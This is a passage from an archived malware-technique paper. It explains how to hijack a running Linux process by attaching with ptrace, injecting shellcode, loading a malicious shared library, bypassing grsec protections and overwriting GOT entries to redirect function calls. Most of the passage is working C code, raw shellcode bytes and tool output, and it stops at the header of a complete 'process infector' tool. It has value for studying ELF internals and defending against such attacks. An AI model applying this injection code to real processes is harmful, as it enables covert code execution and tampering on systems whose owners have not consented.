algorithm\r\n1. Locate binary of target process by parsing /proc/\u003cpid\u003e/maps\r\n2. Parse PLT to get the desired GOT address\r\n3. Attach to the process\r\n4. Find a place to inject our evil .so loader shellcode\r\nSTEPS 5 - 8 are different for GRSEC patched kernels\r\nNON-GRSEC Method\r\n5. Inject new code, and save original code we are overwriting\r\n6. Get registers from process, and modify eip (save old eip) to point to our code\r\n7. Resume traced process so that it executes .so loader shellcode and loads our lib\r\n8. Reset registers, replace original code, and allow process to resume\r\nGRSEC Method\r\n5. Locate sysenter\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 16 of 57\n\n6. Save register state\r\n7. Modify registers and args to call open/mmap\r\n8. Execute sysenter with our modified args\r\n9. Get base address of our evil library from %eax\r\n10. Find address of evil function within shared lib by scanning for its code sequence\r\n11. Retrieve and save value stored in desired GOT address (original function address)\r\n12. Patch the evil functions transfer-code, with original function address (so it can jmp/call to original)\r\n13. Overwrite desired GOT address with new value (evil function address)\r\n14. Detach from process and enjoy\r\nLets go over it more closely...\r\nStep 1\r\nSo our first step should be to locate the binary that spawned the target process; a look into the processes map file\r\nlooks something like this:\r\n-- /proc/\u003cpid\u003e/map --\r\n08048000-08049000 r-xp 00000000 08:01 5654053 /home/elf/got_hijack/test\r\n08049000-0804a000 rw-p 00000000 08:01 5654053 /home/elf/got_hijack/test\r\nb7e19000-b7e1a000 rw-p b7e19000 00:00 0\r\nb7e1a000-b7f55000 r-xp 00000000 08:01 9127170 /lib/tls/i686/cmov/libc-2.5.so\r\nb7f55000-b7f56000 r--p 0013b000 08:01 9127170 /lib/tls/i686/cmov/libc-2.5.so\r\nb7f56000-b7f58000 rw-p 0013c000 08:01 9127170 /lib/tls/i686/cmov/libc-2.5.so\r\nb7f58000-b7f5b000 rw-p b7f58000 00:00 0\r\nb7f65000-b7f68000 rw-p b7f65000 00:00 0\r\nb7f68000-b7f81000 r-xp 00000000 08:01 9093141 /lib/ld-2.5.so\r\nb7f81000-b7f83000 rw-p 00019000 08:01 9093141 /lib/ld-2.5.so\r\nbff6d000-bff82000 rw-p bffeb000 00:00 0 [stack]\r\nffffe000-fffff000 r-xp 00000000 00:00 0 [vdso]\r\nThis file shows us information about the process image, including the executable that spawned the process, and\r\nthe shared libraries that are mapped into the process address space. We also see the base address on the first line\r\n(which is 8048000), might as well grab it while were in the file, although we could also get it from the text phdr-\r\n\u003ep_vaddr just as easily. For ET_DYN files this is a little different, we get the base address and then depending on\r\nwhere it gets mmap'd into memory calculate the offset to get the real base. The code for parsing this file is very\r\nsimple and not worth showing until the full hijacker is documented itself later on in the paper, however it is\r\nimportant to note that grsec patched kernels will not show the base addresses in the map file and therefore it is\r\nimperative to get these elsewhere i.e phdr-\u003ep_vaddr.\r\nStep 2\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 17 of 57\n\nMoving onto the second step, this is where we specify the function that we want to hijack, then pull its relocation\r\nentry so that we can get its corresponding GOT address/offset which will hold the address of the function we want\r\nto hijack. Parsing the executable to get this information is sufficient, which is why we must locate it in the\r\nprevious step (although parsing the process image alone will work too). The function I wrote to do this will\r\nbasically pull the information that 'readelf -r' pulls from an ELF binary.\r\n/* my custom struct linking_info looks like:\r\nstruct linking_info\r\n{\r\n        char name[256]; /* symbol name */\r\n        int index;      /* symbol number */\r\n        int count;      /* total # of symbols */\r\n        uint32_t offset; /* addr/offset into the GOT */\r\n};\r\n*/\r\n/* unsigned char *mem is a pointer to an mmap of the ELF file */\r\nstruct linking_info * get_plt(unsigned char *mem)\r\n{\r\n        Elf32_Ehdr *ehdr;\r\n        Elf32_Shdr *shdr, *shdrp, *symshdr;\r\n        Elf32_Sym *syms, *symsp;\r\n        Elf32_Rel *rel;\r\n        char *symbol;\r\n        int i, j, symcount, k;\r\n        struct linking_info *link;\r\n        ehdr = (Elf32_Ehdr *)mem;\r\n        shdr = (Elf32_Shdr *)(mem + ehdr-\u003ee_shoff);\r\n        shdrp = shdr;\r\n        for (i = ehdr-\u003ee_shnum; i-- \u003e 0; shdrp++)\r\n        {\r\n                if (shdrp-\u003esh_type == SHT_DYNSYM)\r\n                {\r\n                        symshdr = \u0026shdr[shdrp-\u003esh_link];\r\n                        if ((symbol = malloc(symshdr-\u003esh_size)) == NULL)\r\n                                goto fatal;\r\n                        memcpy(symbol, (mem + symshdr-\u003esh_offset), symshdr-\u003esh_size);\r\n                        if ((syms = (Elf32_Sym *)malloc(shdrp-\u003esh_size)) == NULL)\r\n                                goto fatal;\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 18 of 57\n\nmemcpy((Elf32_Sym *)syms, (Elf32_Sym *)(mem + shdrp-\u003esh_offset), shdrp-\u003esh_size);\r\n                        symsp = syms;\r\n                        symcount = (shdrp-\u003esh_size / sizeof(Elf32_Sym));\r\n                        link = (struct linking_info *)malloc(sizeof(struct linking_info) * symcount);\r\n                        if (!link)\r\n                                goto fatal;\r\n                                              link[0].count = symcount;\r\n                        for (j = 0; j \u003c symcount; j++, symsp++)\r\n                        {\r\n                                strncpy(link[j].name, \u0026symbol[symsp-\u003est_name], sizeof(link[j].name)-1);\r\n                                if (!link[j].name)\r\n                                        goto fatal;\r\n                                link[j].index = j;\r\n                        }\r\n                        break;\r\n                }\r\n        }\r\n        for (i = ehdr-\u003ee_shnum; i-- \u003e 0; shdr++)\r\n        {\r\n                switch(shdr-\u003esh_type)\r\n                {\r\n                        case SHT_REL:\r\n                                 rel = (Elf32_Rel *)(mem + shdr-\u003esh_offset);\r\n                                 for (j = 0; j \u003c shdr-\u003esh_size; j += sizeof(Elf32_Rel), rel++)\r\n                                 {\r\n                                        for (k = 0; k \u003c symcount; k++)\r\n                                        {\r\n                                                if (ELF32_R_SYM(rel-\u003er_info) == link[k].index)\r\n                                                        link[k].offset = rel-\u003er_offset;\r\n                                        }\r\n                                 }\r\n                                 break;\r\n                        case SHT_RELA:\r\n                                break;\r\n                        default:\r\n                                break;\r\n                }\r\n        }\r\n        return link;\r\n        fatal:\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 19 of 57\n\nreturn NULL;\r\n}\r\nTo call the function we could do:\r\nif ((lp = (struct linking_info *)get_plt(mem)) == NULL)\r\n  {\r\n               printf(\"get_plt() failed\\n\");\r\n               goto done;\r\n  }\r\n \r\n'struct lp' will provide us with the relevant PLT info to read/write the GOT entry that represents our desired\r\nsymbol to hijack.\r\nStep 3\r\nAt this point we are more than ready to attach to the process, this can be done using the PTRACE_ATTACH\r\nrequest:\r\nif (ptrace(PTRACE_ATTACH, pid, NULL, NULL))\r\n{\r\n        printf(\"Failed to attach to process\\n\");\r\n        exit(-1);\r\n}\r\nwaitpid(pid, \u0026status, WUNTRACED);\r\n \r\nStep 4-8 (non grsec method)\r\nWe need to force the target process to load our evil .so (shared object); in order to do so we will need to inject our\r\nloader shellcode into the process image somewhere. Some people might use the stack for this purpose, but since\r\nsome systems have a non- executable stack, it would be wise to use the text segment. For this we can simply start\r\nat the base 8048000 and overwrite the first 90 bytes with our shellcode. We must make sure to save the original\r\ncode so we can replace it when we are done.\r\nHere is our shellcode:\r\nchar mmap_shellcode[] =\r\n        \"\\xe9\\x3b\\x00\\x00\\x00\\x31\\xc9\\xb0\\x05\\x5b\\x31\\xc9\\xcd\\x80\\x83\\xec\"\r\n        \"\\x18\\x31\\xd2\\x89\\x14\\x24\\xc7\\x44\\x24\\x04\\x00\\x20\\x00\\x00\\xc7\\x44\"\r\n        \"\\x24\\x08\\x07\\x00\\x00\\x00\\xc7\\x44\\x24\\x0c\\x02\\x00\\x00\\x00\\x89\\x44\"\r\n        \"\\x24\\x10\\x89\\x54\\x24\\x14\\xb8\\x5a\\x00\\x00\\x00\\x89\\xe3\\xcd\\x80\\xcc\"\r\n        \"\\xe8\\xc0\\xff\\xff\\xff\\x6c\\x69\\x62\\x74\\x65\\x73\\x74\\x2e\\x73\\x6f\\x2e\"\r\n        \"\\x31\\x2e\\x30\\x00\";\r\n \r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 20 of 57\n\nOur hijacker will use the following function to force the target process into loading our shared object.\r\nint mmap_library(int pid)\r\n{\r\n        struct  user_regs_struct reg;\r\n        long eip, esp, string, offset, str,\r\n        eax, ebx, ecx, edx;\r\n        int i, j = 0, ret, status;\r\n        unsigned long buf[30];\r\n        unsigned char saved_text[94];\r\n        unsigned char *p;\r\n        ptrace(PTRACE_GETREGS, pid, NULL, \u0026reg);\r\n        /* save register state */\r\n        eip = reg.eip;\r\n        esp = reg.esp;\r\n        eax = reg.eax;\r\n        ebx = reg.ebx;\r\n        ecx = reg.ecx;\r\n        edx = reg.edx;\r\n        offset = text_base; // probably 8048000\r\n        printf(\"%%eip -\u003e 0x%x\\n\", eip);\r\n        printf(\"Injecting mmap_shellcode at 0x%x\\n\", offset);\r\n        /* were going to load our shellcode at current eip */\r\n        /* first we must backup the original code into saved_text */\r\n          for (i = 0; i \u003c 90; i += 4)\r\n                buf[j++] = ptrace(PTRACE_PEEKTEXT, pid, (offset + i));\r\n        p = (unsigned char *)buf;\r\n        memcpy(saved_text, p, 90);\r\n         /* load shellcode into text starting at base */\r\n        for (i = 0; i \u003c 90; i += 4)\r\n                 ptrace(PTRACE_POKETEXT, pid, (offset + i), *(long *)(mmap_shellcode + i));\r\n        printf(\"\\nSetting %%eip to 0x%x\\n\", offset);\r\n        reg.eip = offset + 2;  \r\n        ptrace(PTRACE_SETREGS, pid, NULL, \u0026reg);\r\n        ptrace(PTRACE_CONT, pid, NULL, NULL);\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 21 of 57\n\nwait(NULL);\r\n        /* check where eip is now at */\r\n        ptrace(PTRACE_GETREGS, pid, NULL, \u0026reg);\r\n        printf(\"%%eip is now at 0x%x, resetting it to 0x%x\\n\", reg.eip, eip);\r\n        printf(\"inserting original code back\\n\");\r\n        for (j = 0, i = 0; i \u003c 90; i += 4)\r\n                buf[j++] = ptrace(PTRACE_POKETEXT, pid, (offset + i), *(long *)(saved_text + i));\r\n        /* reset register state */\r\n        reg.eip = eip;\r\n        reg.eax = eax;\r\n        reg.ebx = ebx;\r\n        reg.ecx = ecx;\r\n        reg.edx = edx;\r\n        reg.esp = esp;\r\n        ptrace(PTRACE_SETREGS, pid, NULL, \u0026reg);\r\n                /* detach -- when we re-attach we will have access */\r\n        /* to our shared library */\r\n        if (ptrace(PTRACE_DETACH, pid, NULL, NULL) == -1)\r\n        {\r\n                perror(\"ptrace_detach\");\r\n                exit(-1);\r\n        }\r\n}\r\nStep 4-8 (grsec method)\r\nNOTE: This method works assuming that the grsec feature that disallows ptrace is not enabled.\r\nAs previously stated, grsec patched kernels will not allow us to write to a mapped region with ptrace if it is not\r\nwritable, thus injecting shellcode that tells us to load our shared object is hopeless. We are instead going to use the\r\nmethod that I described in the chapter on loading the parasite, which is to not inject any code at all, but instead\r\nhijack an existing system call entrance and utilize it to execute our own syscalls prior to executing the real ones,\r\nthis allows us to sneak our shared object into the process without needing to inject shellcode. We want to locate\r\nthe address of sysenter dynamically (without using the /proc/\u003cpid\u003e/map file), to do this we will need to use\r\nPTRACE_SYSCALL. In alot of kernels linux-gate is not randomized, but obtaining the address to sysenter, which\r\nis within the linux-gate must be done dynamically because its loaded randomly for each process in grsec kernels.\r\nOnce we know where sysenter is, we start 5 bytes above it; if you start directly on sysenter, this method doesn't\r\nseem to work on some systems. We load %eax with the SYS_open number, store our library string in the data\r\nsegment etc. We then single step through the instructions for 5 steps, this will get us through the sysenter, and by\r\nthe end %eax will be holding the return address, which is the fd for mmap(). We do the same thing for mmap(),\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 22 of 57\n\nbut we store all of its args in the data segment right after our library string, and store the address to them in %ebx.\r\nOne other significant change we are making is mapping the text segment and data segment individually, and\r\nsticking to their binary flags. i.e mapping the entire file into memory is not going to work properly because the\r\ntext segment can't have write permissions and the data segment can't have execute permissions, this is an\r\nmprotect() restriction through PaX.\r\nLets take a look at our code:\r\nint grsec_mmap_library(int pid)\r\n{\r\n        struct  user_regs_struct reg;\r\n        long eip, esp, string, offset, str,\r\n        eax, ebx, ecx, edx, orig_eax, data;\r\n        int syscall;\r\n        int i, j = 0, ret, status, fd;\r\n        char library_string[MAXBUF];\r\n        char orig_ds[MAXBUF];\r\n        char buf[MAXBUF] = {0};\r\n        unsigned char tmp[8192];\r\n        char open_done = 0, mmap_done = 0;\r\n        unsigned long int80 = 0;\r\n        unsigned long sysenter = 0;\r\n        strcpy(library_string, EVILLIB_FULLPATH);\r\n                /* backup first part of data segment which will use for a string and some vars */\r\n        memrw ((unsigned long *)orig_ds, data_segment, strlen(library_string)+32, pid, 0);\r\n                /* store our string for our evil lib there */\r\n        for (i = 0; i \u003c strlen(library_string); i += 4)\r\n                ptrace(PTRACE_POKETEXT, pid, (data_segment + i), *(long *)(library_string + i));\r\n                /* verify we have the correct string */\r\n        for (i = 0; i \u003c strlen(library_string); i+= 4)\r\n                *(long *)\u0026buf[i] = ptrace(PTRACE_PEEKTEXT, pid, (data_segment + i));\r\n                if (strcmp(buf, EVILLIB_FULLPATH) == 0)\r\n                printf(\"Verified string is stored in DS: %s\\n\", buf);\r\n        else\r\n        {\r\n                printf(\"String was not properly stored in DS: %s\\n\", buf);\r\n                return 0;\r\n        }\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 23 of 57\n\nptrace(PTRACE_SYSCALL, pid, NULL, NULL);\r\n        wait(NULL);\r\n        ptrace(PTRACE_GETREGS, pid, NULL, \u0026reg);\r\n        eax = reg.eax;\r\n        ebx = reg.ebx;\r\n        ecx = reg.ecx;\r\n        edx = reg.edx;\r\n        eip = reg.eip;\r\n        esp = reg.esp;\r\n                long syscall_eip = reg.eip - 20;\r\n                /* this gets sysenter dynamically incase its randomized */\r\n        if (!static_sysenter)\r\n        {\r\n                memrw((unsigned long *)tmp, syscall_eip, 20, pid, 0);\r\n                for (i = 0; i \u003c 20; i++)\r\n                {\r\n                        if (!(i % 10))\r\n                                printf(\"\\n\");\r\n                         printf(\"%.2x \", tmp[i]);\r\n                         if (tmp[i] == 0x0f \u0026\u0026 tmp[i + 1] == 0x34)\r\n                                sysenter = syscall_eip + i;\r\n                }\r\n        }\r\n        /* this works only if sysenter isn't at random location */\r\n        else\r\n        {\r\n                memrw((unsigned long *)tmp, 0xffffe000, 8192, pid, 0);\r\n                for (i = 0; i \u003c 8192; i++)\r\n                {\r\n                        if (tmp[i] == 0x0f \u0026\u0026 tmp[i+1] == 0x34)\r\n                                sysenter = 0xffffe000 + i;\r\n                }\r\n        }\r\n        sysenter -= 5;\r\n        if (!sysenter)\r\n        {\r\n                printf(\"Unable to find sysenter\\n\");\r\n                exit(-1);\r\n        }\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 24 of 57\n\nprintf(\"Sysenter found: %x\\n\", sysenter);      \r\n        /*\r\n         sysenter should point to:\r\n              push   %ecx\r\n              push   %edx\r\n              push   %ebp\r\n              mov    %esp,%ebp\r\n              sysenter\r\n        */\r\n        ptrace(PTRACE_DETACH, pid, NULL, NULL);\r\n        wait(0);\r\n        if (ptrace(PTRACE_ATTACH, pid, NULL, NULL))\r\n        {\r\n              perror(\"ptrace_attach\");\r\n              exit(-1);\r\n        }\r\n        waitpid(pid, \u0026status, WUNTRACED);\r\n                reg.eax = SYS_open;\r\n        reg.ebx = (long)data_segment;\r\n        reg.ecx = 0;  \r\n        reg.eip = sysenter;\r\n                ptrace(PTRACE_SETREGS, pid, NULL, \u0026reg);\r\n        ptrace(PTRACE_GETREGS, pid, NULL, \u0026reg);\r\n        for(i = 0; i \u003c 5; i++)\r\n        {\r\n                ptrace(PTRACE_SINGLESTEP, pid, NULL, NULL);\r\n                wait(NULL);\r\n                ptrace(PTRACE_GETREGS, pid, NULL, \u0026reg);\r\n                if (reg.eax != SYS_open)\r\n                        fd = reg.eax;\r\n        }\r\n        offset = (data_segment + strlen(library_string)) + 8;\r\n        reg.eip = sysenter;\r\n        reg.eax = SYS_mmap;\r\n        reg.ebx = offset;\r\n                  /* MAP IN TEXT RE */\r\n        ptrace(PTRACE_POKETEXT, pid, offset, 0);       // 0\r\n        ptrace(PTRACE_POKETEXT, pid, offset + 4, segment.text_len + (PAGE_SIZE - (segment.text_len \u0026\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 25 of 57\n\n(PAGE_SIZE - 1))));\r\n        ptrace(PTRACE_POKETEXT, pid, offset + 8, 5);   // PROT_READ|PROT\r\n        ptrace(PTRACE_POKETEXT, pid, offset + 12, 2);   // MAP_SHARED\r\n        ptrace(PTRACE_POKETEXT, pid, offset + 16, fd);   // fd\r\n        ptrace(PTRACE_POKETEXT, pid, offset + 20, segment.text_off \u0026 ~(PAGE_SIZE - 1));\r\n        ptrace(PTRACE_SETREGS, pid, NULL, \u0026reg);\r\n        ptrace(PTRACE_GETREGS, pid, NULL, \u0026reg);\r\n        for(i = 0; i \u003c 5; i++)\r\n        {\r\n                ptrace(PTRACE_SINGLESTEP, pid, NULL, NULL);\r\n                wait(NULL);\r\n                ptrace(PTRACE_GETREGS, pid, NULL, \u0026reg);\r\n                if (reg.eax != SYS_mmap)\r\n                        evil_base = reg.eax;\r\n        }\r\n        reg.eip = sysenter;\r\n        reg.eax = SYS_mmap;\r\n        reg.ebx = offset;\r\n                /* MAP IN DATA RW */\r\n        ptrace(PTRACE_POKETEXT, pid, offset, 0);       // 0\r\n        ptrace(PTRACE_POKETEXT, pid, offset + 4, segment.data_len + (PAGE_SIZE - (segment.data_len \u0026\r\n(PAGE_SIZE - 1))));\r\n        ptrace(PTRACE_POKETEXT, pid, offset + 8, 3);   // PROT_READ|PROT_WRITE\r\n        ptrace(PTRACE_POKETEXT, pid, offset + 12, 2);   // MAP_SHARED\r\n        ptrace(PTRACE_POKETEXT, pid, offset + 16, fd);   // fd\r\n        ptrace(PTRACE_POKETEXT, pid, offset + 20, segment.data_off \u0026 ~(PAGE_SIZE - 1));\r\n        ptrace(PTRACE_SETREGS, pid, NULL, \u0026reg);\r\n        ptrace(PTRACE_GETREGS, pid, NULL, \u0026reg);\r\n        for(i = 0; i \u003c 5; i++)\r\n        {\r\n                ptrace(PTRACE_SINGLESTEP, pid, NULL, NULL);\r\n                wait(NULL);\r\n        }\r\n        printf(\"Restoring data segment\\n\");\r\n        for (i = 0; i \u003c strlen(library_string) + 32; i++)\r\n                ptrace(PTRACE_POKETEXT, pid, (data_segment + i), *(long *)(orig_ds + i));\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 26 of 57\n\nreg.eip = eip;\r\n        reg.eax = eax;\r\n        reg.ebx = ebx;\r\n        reg.ecx = ecx;\r\n        reg.edx = edx;\r\n        reg.esp = esp;\r\n                ptrace(PTRACE_SETREGS, pid, NULL, \u0026reg);\r\n        ptrace(PTRACE_DETACH, pid, NULL, NULL);\r\n}\r\nA final note on obtaining where sysenter exists:\r\nAnother way to locate sysenter would be to parse the stack of the process and get the AUXV AT_SYSINFO entry\r\nwhich contains the location of either sysenter or somewhere right near there, I haven't tried this, but I stumbled\r\nupon it as a possibility while examining that entry.\r\nStep 9\r\nIn order to access our parasite code, which is a replacement function, we must locate the base address of our\r\nshared library now that it is mapped into the target process image. A processes memory maps are displayed in\r\n/proc/\u003cpid\u003e/maps, as will the mapping of our shared object, thus parsing this file is sufficient. Our shared library\r\nis called \"libtest.so.1.0\"\r\n08048000-08049000 r-xp 00000000 08:03 4786267 /home/elf/got_hijack/test\r\n08049000-0804a000 r--p 00000000 08:03 4786267 /home/elf/got_hijack/test\r\n0804a000-0804b000 rw-p 00001000 08:03 4786267 /home/elf/got_hijack/test\r\nb7ddf000-b7de0000 rw-p b7ddf000 00:00 0\r\nb7de0000-b7f0a000 r-xp 00000000 08:03 378946 /lib/libc-2.6.1.so\r\nb7f0a000-b7f0c000 r--p 0012a000 08:03 378946 /lib/libc-2.6.1.so\r\nb7f0c000-b7f0d000 rw-p 0012c000 08:03 378946 /lib/libc-2.6.1.so\r\nb7f0d000-b7f11000 rw-p b7f0d000 00:00 0\r\n \r\n/* if we do this the grsec way, you want the base of the text */\r\n/* and you will see two mappings for libtest.so.1.0, the text */\r\n/* will be maped as r-xp and the data will be rw-p */\r\nb7f1b000-b7f1d000 rwxp 00000000 08:03 4786297 /home/elf/libtest.so.1.0\r\nb7f1d000-b7f1e000 rw-p b7f1d000 00:00 0\r\nb7f1e000-b7f38000 r-xp 00000000 08:03 378903 /lib/ld-2.6.1.so\r\nb7f38000-b7f39000 r--p 00019000 08:03 378903 /lib/ld-2.6.1.so\r\nb7f39000-b7f3a000 rw-p 0001a000 08:03 378903 /lib/ld-2.6.1.so\r\nbfb24000-bfb39000 rw-p bffeb000 00:00 0 [stack]\r\nffffe000-fffff000 r-xp 00000000 00:00 0 [vdso]\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 27 of 57\n\nAs you can see the base address is b7f1b000. A simple function to extract this value is used in the hijacker\r\nprovided later on, it is important to note that with grsec these addresses will not be available, in which case we\r\nshould just get the address from %eax after mmap'ng it.\r\nStep 10\r\nNow that we have the base address of our shared object, we need to locate the evil function itself so that we can\r\nstore it in the GOT, and also patch its \"transfer code\" with the address of the original function for when we need to\r\ntransfer execution back (remember that the transfer code is the ending code in the parasite -- either a function\r\npointer, or a jump --\r\nOne method to find our evil function is to scan memory for its signature code sequence. We can use the first 8\r\nbytes as the code sequence... lets look at the following parasite:\r\nint\r\nevilprint (char *buf)\r\n{\r\n  char new_string[5];\r\n       new_string[0] = 'e';\r\n       new_string[1] = 'v';\r\n       new_string[2] = 'i';\r\n       new_string[3] = 'l';\r\n       new_string[4] = 0;\r\n  int (*origfunc)(char *p) = 0x00000000;\r\n  origfunc(new_string);\r\n}\r\nUsing objdump we can disassemble it to find its signature\r\n00000248 \u003cevilprint\u003e:\r\n 248: 55 push %ebp\r\n 249: 89 e5 mov %esp,%ebp\r\n 24b: 83 ec 18 sub $0x18,%esp\r\n 24e: c6 45 f7 65 movb $0x65,-0x9(%ebp)\r\n 252: c6 45 f8 76 movb $0x76,-0x8(%ebp)\r\n 256: c6 45 f9 69 movb $0x69,-0x7(%ebp)\r\n 25a: c6 45 fa 6c movb $0x6c,-0x6(%ebp)\r\n 25e: c6 45 fb 00 movb $0x0,-0x5(%ebp)\r\n 262: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)\r\n 269: 83 ec 0c sub $0xc,%esp\r\n 26c: 8d 45 f7 lea -0x9(%ebp),%eax\r\n 26f: 50 push %eax\r\n 270: 8b 45 fc mov -0x4(%ebp),%eax\r\n 273: ff d0 call *%eax\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 28 of 57\n\n275: 83 c4 10 add $0x10,%esp\r\n 278: c9 leave\r\n 279: c3 ret\r\nThe first 3 bytes '\\x55\\x89\\xe5' are standard prologue, so lets use those to mark the start of a function, and include\r\nthe following 5 bytes as well. Then we will have a unique signature to mark where our parasite starts within\r\nmemory:\r\nunsigned char evilsig[] = \"\\x55\\x89\\xe5\\x83\\xec\\x18\\xc6\\x45\";\r\nIt may be wise to use a larger signature, but our example shared library is very small and its safe to say that the\r\nfirst 8 bytes are unique to our function only. In order to get the address of our evil function we simply use ptrace\r\nPEEKTEXT request to read our shared object mapping into a buffer starting at its base address that we extracted\r\nfrom the map file. i.e\r\nfor (i = 0, j = 0; i \u003c size; i+= sizeof(uint32_t), j++)\r\n{\r\n        if(((data = ptrace(PTRACE_PEEKTEXT, pid, vaddr + i)) == -1) \u0026\u0026 errno)\r\n                return -1;\r\n        buf[j] = data;\r\n}\r\n \r\nThen search for our signature:\r\nfor (i = 0; i \u003c LIBSIZE; i++)\r\n{\r\n         if (buf[i] == evilsig[0] \u0026\u0026 buf[i+1] == evilsig[1] \u0026\u0026 buf[i+2] == evilsig[2]\r\n         \u0026\u0026 buf[i+3] == evilsig[3] \u0026\u0026 buf[i+4] == evilsig[4] \u0026\u0026 buf[i+5] == evilsig[5]\r\n         \u0026\u0026 buf[i+6] == evilsig[6] \u0026\u0026 buf[i+7] == evilsig[7])\r\n         {\r\n                 evilvaddr = (vaddr + i);\r\n                 break;\r\n         }\r\n}\r\n \r\nAnother method, which is simpler and better, although I didn't think of it when initially writing the code, is to find\r\nthe offset of your evil function since it should generally stay consistent. This is trivial and can be implemented\r\neasier than the method shown above. i.e\r\nevilvaddr = base + offset;\r\nStep 11-13\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 29 of 57\n\nIn addition to modifying the GOT entry with the address of our evil function, we need to patch the transfer code in\r\nthe evil function with the memory address of the original function. If you scroll back up to the disassembled evil\r\nfunction \"evilprint\" and look on the 9th line you will see the transfer code that we must patch:\r\n262: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)\r\nThat line is the function pointer assignment we did in C --\r\nint (*origfunc)(char *p) = 0x00000000;\r\nWe need to locate that within the evil function and patch it with the memory address of the original function. How\r\ndo we get the address of the original function? If you recall, the get_plt() code I demonstrated in step 2 will pull\r\nthe relocation entries which contain virtual address/offsets into the global offset table where we can find what we\r\nneed.\r\nUsing some code I wrote that basically pulls relocation offsets, their values, and the corresponding symbols of a\r\nrunning process we can take a look at our test program while running:\r\nr_offset: 804a000\r\nsymbol: __gmon_start__\r\nexport address: 8048306\r\nr_offset: 804a004\r\nsymbol: __libc_start_main\r\nexport address: b7dd5f00\r\nr_offset: 804a008\r\nsymbol: sleep\r\nexport address: b7e4dbb0\r\nr_offset: 804a00c\r\nsymbol: puts\r\nexport address: b7e185c0\r\nWhat is it we are looking at above? The r_offset (relocation offset) is the address in the GOT, the export address is\r\nthe value stored there. If you notice the export address for puts() is b7e185c0, that is its resolved address in libc --\r\nhow do I know that? Due to lazy linking, before puts() gets called the first time (as we learned earlier) it will have\r\na stub address that points back to the PLT, and it will start with '804'.\r\nSo our goal is to get the address for puts() stored in the global offset table r_offset -- Here is an example:\r\n \r\nif ((lp = (struct linking_info *)get_plt(mem)) == NULL)\r\n {\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 30 of 57\n\nprintf(\"get_plt() failed\\n\");\r\n              goto done;\r\n }\r\n   for (i = 0; i \u003c lp[0].count; i++)\r\n {\r\n         if (strcmp(lp[i].name, \"puts\") == 0)\r\n         {\r\n                /*\r\n                  memrw() uses ptrace to perform several tasks, including\r\n                  retrieving the original function address from the GOT, and\r\n                  overwriting it with the new function (evilprint) address\r\n                  the memrw() MODIFY_GOT request will return the final value\r\n                  of the GOT entry, which should contain the address of the new\r\n                  function, this way we can check to make sure its been properly\r\n                  updated.\r\n                 */\r\n                   export = memrw(NULL, lp[i].offset, MODIFY_GOT, pid, evilfunc);\r\n                 if (export == evilfunc)\r\n                        printf(\"Successfully modified GOT entry\\n\\n\");\r\n                 else\r\n                 {\r\n                        printf(\"Failed at modifying GOT entry\\n\");\r\n                        goto done;\r\n                 }\r\n                       printf(\"New GOT value: %x\\n\", export);\r\n         }\r\n }\r\nWe've now retrieved the original address of the function we are hijacking, and modified the GOT entry with the\r\naddress to our evil function. We need to carry out the final step and patch the evil functions transfer code, so that\r\nwhen its done it can call the original function. We need to use our memrw() function (the src for it is revealed in\r\nthe included hijacker) to read our evil function into a buffer and determine the address of where to patch the\r\ntransfer code:\r\nRemember our transfer code signature -- c7 45 fc 00 00 00 00 -- we want to patch it with the address of the\r\noriginal function starting right after '\\xc7\\x45\\xfc\\'.\r\nunsigned char evil_code[256];\r\nunsigned long injection_vaddr = 0;\r\n/* tc[] is short for transfer_code[] */\r\nunsigned char tc[] = \"\\xc7\\x45\\xfc\\x00\";\r\nhttps://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html\r\nPage 31 of 57\n\n/* get a copy of our replacement function and search for transfer sequence */\r\nmemrw((unsigned long *)evil_code, evilfunc, 256, pid, 0);\r\n/* once located, patch it with the addr of the original function */\r\nfor (i = 0; i \u003c 256; i++)\r\n{\r\n        if (evil_code[i] == tc[0] \u0026\u0026 evil_code[i+1] == tc[1] \u0026\u0026 evil_code[i+2] == tc[2] \u0026\u0026 evil_code[i+3] ==\r\ntc[3])\r\n        {\r\n                printf(\"\\nLocated transfer code; patching it with %x\\n\", original);\r\n                injection_vaddr = (evilfunc + i) + 3;\r\n                break;\r\n        }\r\n}\r\nAt this point we can patch it with:\r\nmemrw(0, injection_vaddr, INJECT_TRANSFER_CODE, pid, original);\r\nStep 14\r\nWe can now detach from the process and enjoy.\r\nif (ptrace(PTRACE_DETACH, pid, NULL, NULL) == -1)\r\n        perror(\"ptrace_detach\");\r\n \r\n7 - The Hijacker\r\nI have included the complete hijacker and an example parasite. The hijacker can be used on any process of type\r\nET_EXEC, or ET_DYN. The only aspects of the source code that need to be modified are the signatures for the\r\nevil function and the transfer code, as these will vary but are easily found using objdump. The shellcode to load\r\nthe shared library assumes that the shared library is called libtest.so.1.0 and exists in /lib directory. The shellcode\r\nis available in its ASM form for modifications below.\r\n/* start of dlh.c */\r\n/*\r\n * DLH (Dynamic Link Hijacker) v0.1 (C) Ryan O'Neill 2009\r\n * process infector through GOT modification and shared object linking\r\n * features include ET_DYN processes, and Grsec memory protection bypassing\r\n * for code injection.\r\n *\r\n * Author: Ryan O'Neill\r\n * \u003cryan@bitlackeys.com\u003e\r\n 